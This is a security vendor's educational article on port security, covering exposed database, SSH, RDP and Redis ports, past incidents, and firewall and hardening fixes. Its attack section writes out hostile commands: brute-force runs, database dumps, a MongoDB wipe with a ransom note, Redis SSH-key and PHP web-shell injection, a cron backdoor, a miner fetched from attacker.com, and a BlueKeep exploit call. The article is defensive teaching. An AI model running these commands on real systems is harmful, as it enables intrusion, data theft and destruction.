Port Security: Closing the Doors to Your Server

What is it?

Port security refers to the practice of controlling which network ports are open and accessible on your servers. Every network service (web server, database, SSH, etc.) listens on a specific port number. Open ports are entry points that can be accessed over the internet—and every unnecessary open port is a potential attack vector.

Common ports and their services:

  • 80 (HTTP) - Web traffic (unencrypted)
  • 443 (HTTPS) - Secure web traffic (encrypted)
  • 22 (SSH) - Secure Shell remote access
  • 21 (FTP) - File Transfer Protocol
  • 3306 (MySQL) - MySQL database
  • 5432 (PostgreSQL) - PostgreSQL database
  • 27017 (MongoDB) - MongoDB database
  • 3389 (RDP) - Remote Desktop Protocol (Windows)
  • 25 (SMTP) - Email sending
  • 6379 (Redis) - Redis cache/database

In a secure configuration, only ports necessary for your application's public-facing services (typically 80 and 443) should be accessible from the internet. Internal services like databases, caches, and administrative interfaces should be restricted to:

  • Specific IP addresses (IP whitelisting)
  • Private networks (VPCs, VLANs)
  • VPN connections only
  • Localhost only

Every open port expands your attack surface. Ports exposed unnecessarily—especially database and administrative ports—provide attackers with direct access to sensitive resources, bypassing application-level security entirely.

Why does it matter?

Open ports are like unlocked doors on your house. Even if you have strong locks on your front door (your web application), leaving the back door unlocked (open database port) allows intruders to bypass your defenses entirely.

Direct Database Access

The most critical risk is exposing database ports (3306, 5432, 27017) to the public internet. When database ports are open, attackers can:

  1. Attempt direct authentication using brute force or credential stuffing
  2. Exploit database vulnerabilities directly without needing to compromise your application
  3. Bypass application security entirely (authentication, authorization, input validation)
  4. Extract entire databases if authentication succeeds or vulnerabilities exist

Once inside your database, attackers have access to:

  • All user data (names, emails, passwords, addresses)
  • Payment information
  • Business confidential data
  • API keys and secrets stored in configuration tables
  • Ability to modify or delete data

SSH and RDP Brute Force Attacks

Exposing SSH (port 22) or RDP (port 3389) to the internet invites constant brute force attacks. Automated bots continuously scan for these ports and attempt to log in with:

  • Common usernames (root, admin, administrator, user)
  • Common passwords (password, 123456, admin, qwerty)
  • Credential lists from previous breaches
  • Default credentials for popular cloud platforms

A successful brute force attack grants:

  • Full server access
  • Ability to install backdoors
  • Lateral movement to other systems
  • Data theft or encryption (ransomware)
  • Use of your server for additional attacks

Service-Specific Vulnerabilities

Even if authentication is secure, exposing services directly to the internet increases risk from:

  • Zero-day vulnerabilities: Newly discovered exploits in database software, SSH servers, or other services
  • Denial of Service: Resource exhaustion attacks against exposed services
  • Version fingerprinting: Attackers identify exact software versions and target known vulnerabilities
  • Protocol exploitation: Attacks against the protocols themselves (e.g., Redis protocol injection)

Compliance and Audit Failures

Many security frameworks and compliance standards explicitly prohibit exposing certain services to the internet:

  • PCI-DSS: Requires databases not be directly accessible from the internet
  • HIPAA: Mandates restricted access to systems containing health information
  • SOC 2: Requires demonstration of proper network segmentation
  • ISO 27001: Includes controls for network access restrictions

Open database ports are automatic findings in security audits and can result in compliance failures, financial penalties, and loss of certifications.

Amplification of Other Vulnerabilities

Even minor vulnerabilities become critical when services are publicly exposed:

  • A low-severity SQL injection in your application is contained by application logic
  • But the same database exposed directly on port 3306 allows full database control
  • Similarly, a weak password that seems acceptable behind application authentication becomes a critical vulnerability when SSH is exposed

How attacks work

Port-based attacks typically involve scanning, fingerprinting, and exploitation phases.

Internet-Wide Port Scanning

Attackers use automated tools to scan millions of IP addresses looking for open ports:

Using Masscan (extremely fast):

# Scan entire internet for open MySQL ports
masscan 0.0.0.0/0 -p3306 --rate 1000000

# Results in millions of open MySQL servers

Using Nmap (detailed):

# Scan specific target
nmap -sV -p- target-server.com

# Output reveals:
# PORT     STATE SERVICE    VERSION
# 22/tcp   open  ssh        OpenSSH 7.4
# 80/tcp   open  http       nginx 1.20.0
# 3306/tcp open  mysql      MySQL 5.7.33
# 6379/tcp open  redis      Redis 5.0.7

This reveals:

  • Which ports are open
  • Which services are running
  • Exact software versions
  • Potential vulnerabilities to exploit

MySQL/PostgreSQL Direct Attack

Once a database port is discovered, attackers attempt authentication:

Brute force MySQL:

# Using hydra for brute force
hydra -L usernames.txt -P passwords.txt mysql://target-server.com

# Common usernames tried:
# root, admin, mysql, db_user, ubuntu, webapp

# Common passwords tried:
# (empty), root, password, 123456, admin
# Database name as password (mydb/mydb)
# Default passwords for frameworks (homestead/secret)

If authentication succeeds:

# Connect directly
mysql -h target-server.com -u root -p

# Extract all data
mysqldump -h target-server.com -u root -p --all-databases > stolen_data.sql

# Or connect with malicious queries
mysql -h target-server.com -u root -p -e "
  SELECT * FROM users;
  INSERT INTO users (username, password, role) VALUES ('attacker', '$2y$10$...', 'admin');
"

PostgreSQL exploitation:

# Scan for PostgreSQL
nmap -p 5432 target-server.com

# Attempt connection
psql -h target-server.com -U postgres

# If successful, export data
pg_dump -h target-server.com -U postgres dbname > stolen_db.sql

MongoDB Ransomware Attack

MongoDB instances exposed without authentication have been mass-compromised for ransomware:

Attack process:

  1. Scan for open MongoDB (port 27017)
  2. Check for authentication:
mongo target-server.com:27017

# If no auth required, full access granted
  1. Export data:
use production_db
db.users.find().forEach(printjson)
  1. Delete data and leave ransom note:
// Delete all collections
db.dropDatabase()

// Create ransom collection
db.ransom_note.insert({
  message: "Your data has been stolen and deleted. Pay 0.1 BTC to recover.",
  bitcoin_address: "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa",
  contact: "[email protected]"
})

This attack has affected thousands of MongoDB instances, with victims losing all data and often having no backups.

Redis Remote Code Execution

Exposed Redis instances (port 6379) can be exploited for remote code execution:

Attack method:

# Connect to exposed Redis
redis-cli -h target-server.com

# Write SSH key to authorized_keys
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET key1 "\n\nssh-rsa AAAAB3NzaC1... attacker@host\n\n"
SAVE

# Now attacker can SSH in
ssh [email protected]

Or write web shell:

# Change Redis backup location to web root
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET key1 "<?php system($_GET['cmd']); ?>"
SAVE

# Execute commands
curl http://target-server.com/shell.php?cmd=whoami

SSH Brute Force and Exploitation

Automated SSH brute force:

# Using Hydra
hydra -L users.txt -P passwords.txt ssh://target-server.com

# Using Medusa
medusa -h target-server.com -U users.txt -P passwords.txt -M ssh

Common attack patterns:

  • Try default cloud credentials (ubuntu/ubuntu, ec2-user)
  • Test weak passwords (password, admin, server)
  • Use leaked password lists from breaches
  • Exploit weak key-based authentication if found

Post-compromise:

# Once SSH access gained
# Install backdoor
crontab -e
# Add: @reboot /tmp/.hidden/backdoor &

# Steal sensitive files
cat /var/www/html/.env
cat ~/.ssh/id_rsa

# Pivot to other systems
ssh -i stolen_key other-server.com

# Install cryptocurrency miner
wget http://attacker.com/miner
chmod +x miner
./miner &

RDP Attacks (Windows)

Remote Desktop Protocol (port 3389) is heavily targeted:

Attack methods:

# Scan for RDP
nmap -p 3389 target-server.com

# Brute force RDP
crowbar -b rdp -s target-server.com/32 -u admin -C passwords.txt

# Or use BlueKeep exploit (CVE-2019-0708)
# For unpatched Windows servers
msfconsole
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS target-server.com
exploit

BlueKeep allowed remote code execution without authentication—affecting millions of Windows servers.

Port Knocking Bypass

Some admins think "port knocking" (opening ports only after receiving packets to specific ports) provides security. However:

  1. It's security through obscurity (not real security)
  2. Attackers can discover knock sequences through packet analysis
  3. Once sequence is known, no protection remains
  4. Better to use VPN or IP whitelisting

Real-world incidents

MongoDB Ransomware Epidemic (2017)

In early 2017, over 28,000 MongoDB databases exposed on the internet were held for ransom after mass automated attacks.

Attack pattern:

  1. Automated scanners identified MongoDB instances on port 27017
  2. Default installations had no authentication enabled
  3. Attackers connected, exported data, deleted databases, and left ransom notes
  4. Demanded 0.2-0.5 BTC (then $200-500) for data return
  5. In most cases, attackers never actually kept the data—it was simply deleted

Victims:

  • Small businesses
  • Healthcare providers
  • Educational institutions
  • Development servers accidentally exposed

Aftermath:

  • MongoDB changed default configuration to require authentication
  • Millions of dollars lost in ransoms and recovery costs
  • Many victims had no backups and lost data permanently

ElasticSearch Data Exposure (2015-2020)

Countless ElasticSearch instances (default port 9200) were exposed on the internet, leading to massive data leaks:

Notable incidents:

  • Capital One (2019): 100 million records exposed via misconfigured AWS security groups allowing port 9200 access
  • Gemalto (2019): Security company exposed vulnerability research data
  • Voipo (2019): VoIP provider exposed 200 million call logs

Common pattern:

  1. ElasticSearch installed with default settings (no authentication)
  2. Port 9200 opened on firewall
  3. Searchable via Shodan.io
  4. Full data access via simple HTTP requests:
curl http://exposed-server.com:9200/_search?pretty

Redis Exploitation Campaign (2018-2019)

Security researchers documented widespread exploitation of exposed Redis instances:

Attack statistics:

  • Over 30,000 exposed Redis instances found
  • Thousands compromised for cryptocurrency mining
  • SSH key injection used for persistent access
  • Web shells written to gain code execution

Malware installed:

  • Watchdogs (prevent removal of miners)
  • DDoS botnets
  • Proxy networks for anonymization
  • Backdoors for further attacks

SSH Brute Force Botnet (Continuous)

SSH brute force attacks are constant and widespread. Security researchers monitoring honeypots documented:

Attack statistics:

  • Average exposed SSH server receives 10-50 login attempts per minute
  • 1000+ unique IPs attempting access daily
  • 95% of attempts use top 100 passwords
  • Successful compromises within hours to days for weak credentials

Consequences:

  • Compromised servers used for spam sending
  • Participation in DDoS attacks
  • Hosting of illegal content
  • Cryptocurrency mining
  • Lateral movement to cloud account compromise

Memcached DDoS Amplification (2018)

While not direct exploitation, exposed Memcached servers (port 11211) were abused for record-breaking DDoS attacks:

Attack method:

  1. Over 100,000 Memcached servers exposed on internet
  2. Attackers sent small queries with spoofed victim IPs
  3. Servers responded with amplified traffic (50,000x amplification)
  4. GitHub suffered 1.35 Tbps DDoS (largest at the time)

Key lesson: Even services that don't contain sensitive data become attack tools when unnecessarily exposed.

What Nyambush detects

Nyambush performs comprehensive port scanning and service detection across your infrastructure:

  1. Common Port Scanning:

    • Standard ports: 21, 22, 23, 25, 80, 443, 3389, 8080
    • Database ports: 3306, 5432, 27017, 6379, 9200, 11211
    • Administrative ports: 8443, 10000, 2082, 2083
  2. Service Identification:

    • Detects running services on open ports
    • Identifies software versions (MySQL 5.7, PostgreSQL 14, Redis 6.2)
    • Flags outdated versions with known vulnerabilities
  3. Risk Assessment:

    • Critical: Database ports (3306, 5432, 27017) open to internet
    • High: SSH/RDP (22, 3389) without IP restrictions
    • Medium: Administrative interfaces (phpMyAdmin, Adminer) publicly accessible
    • Low: Non-standard ports with unknown services
  4. Authentication Testing (non-intrusive):

    • Tests for services without authentication
    • Checks for default credentials (when safe to do so)
    • Identifies anonymous access (MongoDB, Redis, Memcached)
  5. Firewall Configuration Analysis:

    • Checks AWS Security Groups, Azure NSGs, GCP Firewall Rules
    • Identifies overly permissive rules (0.0.0.0/0 access)
    • Flags unnecessary port ranges opened
  6. Context-Aware Recommendations:

    • Distinguishes between web servers (port 443 ok) and databases (port 3306 bad)
    • Provides IP whitelisting guidance
    • Suggests VPN or bastion host configurations
  7. Continuous Monitoring:

    • Alerts when new ports become exposed
    • Tracks changes in service configurations
    • Monitors for successful authentication attempts (when logs accessible)

How to fix it

Securing ports requires proper firewall configuration, network architecture, and ongoing monitoring.

1. Use Firewall Rules to Restrict Access

Linux iptables:

# Default deny incoming
iptables -P INPUT DROP

# Allow established connections
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT

# Allow HTTP and HTTPS from anywhere
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Allow SSH only from specific IP
iptables -A INPUT -p tcp --dport 22 -s 203.0.113.0/24 -j ACCEPT

# Allow MySQL only from application server
iptables -A INPUT -p tcp --dport 3306 -s 10.0.1.5 -j ACCEPT

# Save rules
iptables-save > /etc/iptables/rules.v4

Linux ufw (simpler):

# Default deny incoming
ufw default deny incoming
ufw default allow outgoing

# Allow HTTP/HTTPS
ufw allow 80/tcp
ufw allow 443/tcp

# Allow SSH from specific IP
ufw allow from 203.0.113.0/24 to any port 22

# Enable firewall
ufw enable

CentOS/RHEL firewalld:

# Add services
firewall-cmd --permanent --add-service=http
firewall-cmd --permanent --add-service=https

# Restrict SSH to specific source
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port protocol="tcp" port="22" accept'

# Reload
firewall-cmd --reload

2. Cloud Firewall Configuration

AWS Security Groups:

# Allow HTTP/HTTPS from anywhere
aws ec2 authorize-security-group-ingress \
    --group-id sg-0123456789 \
    --protocol tcp \
    --port 80 \
    --cidr 0.0.0.0/0

aws ec2 authorize-security-group-ingress \
    --group-id sg-0123456789 \
    --protocol tcp \
    --port 443 \
    --cidr 0.0.0.0/0

# Allow SSH only from your IP
aws ec2 authorize-security-group-ingress \
    --group-id sg-0123456789 \
    --protocol tcp \
    --port 22 \
    --cidr 203.0.113.50/32

# Database security group - only from app servers
aws ec2 authorize-security-group-ingress \
    --group-id sg-database \
    --protocol tcp \
    --port 3306 \
    --source-group sg-app-servers

Azure Network Security Groups:

# Allow HTTP/HTTPS
az network nsg rule create \
    --resource-group myResourceGroup \
    --nsg-name myNSG \
    --name Allow-HTTP \
    --priority 100 \
    --source-address-prefixes '*' \
    --destination-port-ranges 80 443 \
    --access Allow \
    --protocol Tcp

# Restrict SSH
az network nsg rule create \
    --resource-group myResourceGroup \
    --nsg-name myNSG \
    --name Allow-SSH-From-Office \
    --priority 110 \
    --source-address-prefixes 203.0.113.0/24 \
    --destination-port-ranges 22 \
    --access Allow \
    --protocol Tcp

GCP Firewall Rules:

# Allow HTTP/HTTPS
gcloud compute firewall-rules create allow-http-https \
    --allow tcp:80,tcp:443 \
    --source-ranges 0.0.0.0/0

# Restrict SSH
gcloud compute firewall-rules create allow-ssh-from-office \
    --allow tcp:22 \
    --source-ranges 203.0.113.0/24

3. Database-Specific Configuration

MySQL - Bind to localhost only:

Edit /etc/mysql/my.cnf:

[mysqld]
bind-address = 127.0.0.1

Or for internal network only:

bind-address = 10.0.1.5

Restart MySQL:

systemctl restart mysql

PostgreSQL - Restrict connections:

Edit /etc/postgresql/14/main/postgresql.conf:

listen_addresses = 'localhost'
# Or specific IP: listen_addresses = '10.0.1.5'

Edit /etc/postgresql/14/main/pg_hba.conf:

# Only allow connections from specific IPs
host    all    all    10.0.1.0/24    md5

Restart PostgreSQL:

systemctl restart postgresql

MongoDB - Enable authentication and bind address:

Edit /etc/mongod.conf:

net:
  bindIp: 127.0.0.1
  port: 27017

security:
  authorization: enabled

Create admin user:

use admin
db.createUser({
  user: "admin",
  pwd: "strong_password_here",
  roles: ["root"]
})

Redis - Require password and bind to localhost:

Edit /etc/redis/redis.conf:

bind 127.0.0.1
requirepass your_strong_password_here

Restart Redis:

systemctl restart redis

4. SSH Hardening

Change default port (minor security through obscurity):

Edit /etc/ssh/sshd_config:

Port 2222  # Non-standard port reduces automated attacks

Disable password authentication (key-only):

PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin no

Restrict SSH users:

AllowUsers deployer admin

Use fail2ban to block brute force:

apt-get install fail2ban

# Configure in /etc/fail2ban/jail.local
[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600

5. Use VPN for Administrative Access

Instead of exposing SSH or databases, use VPN:

WireGuard VPN setup:

# Install WireGuard
apt-get install wireguard

# Generate keys
wg genkey | tee privatekey | wg pubkey > publickey

# Configure /etc/wireguard/wg0.conf
[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = <server-private-key>

[Peer]
PublicKey = <client-public-key>
AllowedIPs = 10.0.0.2/32

Now SSH and database access only work over VPN:

# Only allow from VPN network
ufw allow from 10.0.0.0/24 to any port 22
ufw allow from 10.0.0.0/24 to any port 3306

6. Bastion Host / Jump Server

For cloud environments, use a bastion host:

Architecture:

Internet → Bastion (public IP, SSH only) → Private Network (app servers, databases)

Bastion configuration:

  • Only port 22 open to specific IPs
  • No other services running
  • Heavily monitored and logged
  • Multi-factor authentication required

Access databases through bastion:

# SSH tunnel through bastion
ssh -L 3306:database-server:3306 user@bastion-host

# Now connect to localhost:3306
mysql -h 127.0.0.1 -P 3306 -u dbuser -p

7. Network Segmentation

Use private networks and security zones:

AWS VPC Architecture:

Public Subnet (web servers, load balancers)
    - Port 80/443 open to internet
    - Port 22 from bastion only

Private Subnet (app servers)
    - No direct internet access
    - Only accessible from public subnet

Database Subnet (isolated)
    - Only accessible from app servers
    - No outbound internet access

8. Regular Port Audits

Check open ports locally:

# netstat
netstat -tulpn

# ss (modern replacement)
ss -tulpn

# lsof
lsof -i -P -n

Check from external perspective:

# Nmap scan your own server
nmap -sV your-server.com

# Expected output (good):
# PORT    STATE SERVICE
# 80/tcp  open  http
# 443/tcp open  https

# Unexpected ports = investigate immediately

Automated monitoring:

# Monitor for new listening ports
#!/bin/bash
EXPECTED_PORTS="80 443"
CURRENT_PORTS=$(ss -tulpn | grep LISTEN | awk '{print $5}' | cut -d: -f2 | sort -u)

for port in $CURRENT_PORTS; do
    if ! echo $EXPECTED_PORTS | grep -q $port; then
        echo "Alert: Unexpected port $port is listening" | mail -s "Port Alert" [email protected]
    fi
done

9. Disable Unused Services

Remove services you don't need:

# Check running services
systemctl list-units --type=service --state=running

# Disable unused services
systemctl stop telnet
systemctl disable telnet

systemctl stop ftp
systemctl disable ftp

# Uninstall completely
apt-get remove telnetd vsftpd

10. Implement Zero Trust Architecture

Modern approach: assume breach, require authentication everywhere:

  • No "trusted" networks
  • All access authenticated and authorized
  • Micro-segmentation between services
  • Service mesh for internal authentication (Istio, Linkerd)
  • Mutual TLS between services

Summary

Open ports are direct entry points to your infrastructure. Every unnecessarily exposed port—especially database ports (3306, 5432, 27017), administrative interfaces (SSH, RDP), and cache services (Redis, Memcached)—provides attackers with opportunities to bypass your application security entirely.

The consequences of exposed ports include:

  • Direct database compromise bypassing all application defenses
  • Server takeover through SSH/RDP brute force
  • Ransomware attacks against exposed MongoDB and other databases
  • DDoS amplification abuse of exposed services
  • Compliance violations failing PCI-DSS, HIPAA, and other frameworks

Protection requires:

  • Firewall rules allowing only necessary public access (80/443)
  • IP whitelisting for administrative services
  • VPN or bastion hosts for internal service access
  • Proper binding (databases on localhost or private IPs only)
  • Authentication on all services, even internal ones
  • Regular audits to detect unexpected open ports

Nyambush automatically scans your infrastructure for open ports, identifies unnecessary exposures, and provides specific remediation guidance. With automated attacks scanning millions of IPs daily for vulnerable services, closing unnecessary ports is not optional—it's a fundamental security requirement.

Secure your ports before attackers find them. A firewall rule takes seconds to implement but prevents catastrophic breaches.

Share this article:Post on X

Is your domain secure?

Run a free scan with Nyambush to check your security risks right now.